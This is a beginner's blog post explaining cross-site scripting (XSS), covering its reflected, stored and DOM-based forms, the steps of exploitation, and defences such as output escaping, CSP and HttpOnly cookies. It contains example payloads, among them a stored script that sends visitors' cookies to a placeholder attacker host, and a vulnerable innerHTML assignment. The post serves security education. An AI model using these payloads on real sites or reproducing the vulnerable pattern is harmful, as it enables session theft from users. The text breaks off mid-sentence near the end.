DEV Community

sergio gómez
sergio gómez

Posted on

XSS: the most common web vulnerability, explained with examples

#javascript #security #webdev #beginners

XSS: the most common web vulnerability, explained with examples

Cross‑Site Scripting (XSS) attacks continue to top the lists of web vulnerabilities. The reason is simple: a single point where the application turns user‑supplied data into code is enough for the browser to execute it as if it were native — a scenario that occurs far too often in real‑world projects (Source [3]).

What is XSS and why it remains the most frequent problem?

XSS is a vulnerability that allows an attacker to inject malicious scripts, usually JavaScript, into pages viewed by end users. The browser runs that code without suspicion (Source [4]). The root cause is the lack of validation or sanitization of user input before it is incorporated into the generated HTML (Source [1]).

Unlike vulnerabilities that require complex configurations or infrastructure access, XSS hinges on a single failure point: any field that accepts external data (comments, search forms, URL parameters) and inserts it directly into the server’s response. For that reason, even in 2025 it remains the most common flaw on the web (Source [3]).

Types of XSS and practical examples

There are three main variants, each with its own attack vector and danger level (Source [6]):

1. Reflected XSS

The malicious script is sent to the server via a request and is reflected immediately in the HTML response.

Example:

GET /search?q=<script>alert('XSS')</script>
Enter fullscreen mode Exit fullscreen mode

If the page displays the searched term without escaping it, the browser will execute alert('XSS'). This type is common in internal search engines or contact forms that echo back the submitted value.

2. Stored XSS

The payload is stored in a database or other persistent medium and served to any user who visits the affected page.

Example:

A forum allows users to create posts. An attacker publishes:

<p>Check out my photo! <script>fetch('https://evil.com/steal?c='+document.cookie)</script></p>
Enter fullscreen mode Exit fullscreen mode

Every visitor who reads the message will execute the script and send their cookie to the attacker. This is the most dangerous type because the injection persists and affects multiple users.

3. DOM‑based XSS

The attack occurs on the client side: the malicious script manipulates the Document Object Model (DOM) via JavaScript that processes user data (e.g., location.hash or innerHTML).

Example:

// Vulnerable code on the page
document.getElementById('output').innerHTML = location.hash;
Enter fullscreen mode Exit fullscreen mode

If the attacker navigates to https://victim.com/#<script>steal()</script>, the URL fragment is inserted without sanitization and the script runs. This vector does not require any server interaction, making it hard to detect with traditional scans.

How XSS is exploited in practice

  1. Identify the injection point – The attacker tests input fields (forms, GET/POST parameters, headers) and checks whether the response contains the data unencoded (Source [2]).
  2. Build the payload – Choose a script that fulfills the goal: stealing cookies, redirecting to phishing sites, loading a cryptocurrency “miner”, etc. Recent resources provide real‑world payloads and bypass techniques to evade basic filters (Source [3]).
  3. Execute and exfiltrate – When the victim loads the compromised page, the browser treats the script as its own. A typical case is capturing document.cookie and sending it to a server controlled by the attacker.
  4. Escalate – With the stolen session, the attacker can act on behalf of the user, access confidential data, or even create new attack vectors inside the application.

The critical factor is that the browser does not distinguish between legitimate code and injected code; it simply runs whatever it receives. Therefore, prevention must focus on stopping any untrusted data from becoming executable code.

Effective measures to prevent XSS

1. Input validation and sanitization

  • Whitelist: accept only the characters you expect (e.g., alphanumerics and a limited set of symbols).
  • Sanitization libraries: use battle‑tested tools (e.g., DOMPurify) that strip dangerous tags and attributes.

2. Output escaping (output encoding)

Before inserting data into HTML, attributes, JavaScript, or CSS, apply the appropriate escaping for the context (HTML‑entity, JavaScript‑string, URL‑encoding). This practice eliminates the chance that the browser interprets the content as code (Source [5]).

3. Content Security Policy (CSP)

A well‑configured CSP restricts the sources from which scripts may be loaded. For example, script‑src 'self' blocks the execution of injected scripts that do not originate from the same domain, dramatically reducing the impact of a successful XSS (Source [5]).

4. HTTP‑Only and Secure flags on cookies

Mark session cookies with HttpOnly to prevent JavaScript from accessing them, limiting the damage of an attack that manages to inject code.

5. Reviews and automated testing

  • Vulnerability scanners: tools that detect reflected or stored injection points.
  • Manual penetration testing: especially for DOM‑based XSS, which often slips past scanners.

6. Development team education

Many flaws persist due to lack of knowledge. Training developers on how and why XSS occurs and on the correct use of escaping functions is a first‑line defense (Source [3]).

Conclusion

Cross‑Site Scripting remains the most common web flaw because any untreated data can become executable code. Understanding its three variants—reflected, stored, and DOM‑based—and the exploitation steps enables the design of concrete defenses: validate and sanitize input, escape output, apply CSP, and harden cookies. Prevention is not optional; it is an essential practice for protecting user confidentiality and integrity.

**¿Listo para poner

Sources and references

Top comments (0)